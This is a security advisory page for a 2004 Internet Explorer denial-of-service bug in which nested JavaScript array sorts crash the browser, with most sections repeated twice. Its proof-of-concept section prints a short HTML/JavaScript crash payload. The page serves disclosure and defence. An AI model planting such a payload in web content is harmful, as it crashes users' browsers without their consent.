Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
BID:11751
Info
Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
| Bugtraq ID: | 11751 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 25 2004 12:00AM |
| Updated: | Nov 25 2004 12:00AM |
| Credit: | Discovery is credited to Berend-Jan Wever. |
| Vulnerable: |
Microsoft Internet Explorer 6.0 SP2 - do not use Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 |
| Not Vulnerable: |
Microsoft Internet Explorer Macintosh Edition 5.2.3 |
Discussion
Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
Exploit / POC
Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
The following example will cause the browser to crash:
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Solution / Fix
Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft Internet Explorer Infinite Array Sort Denial Of Service Vulnerability
References:
References:
- MSIE flaws: nested array sort() loop Stack overflow exception ("Berend-Jan Wever"
)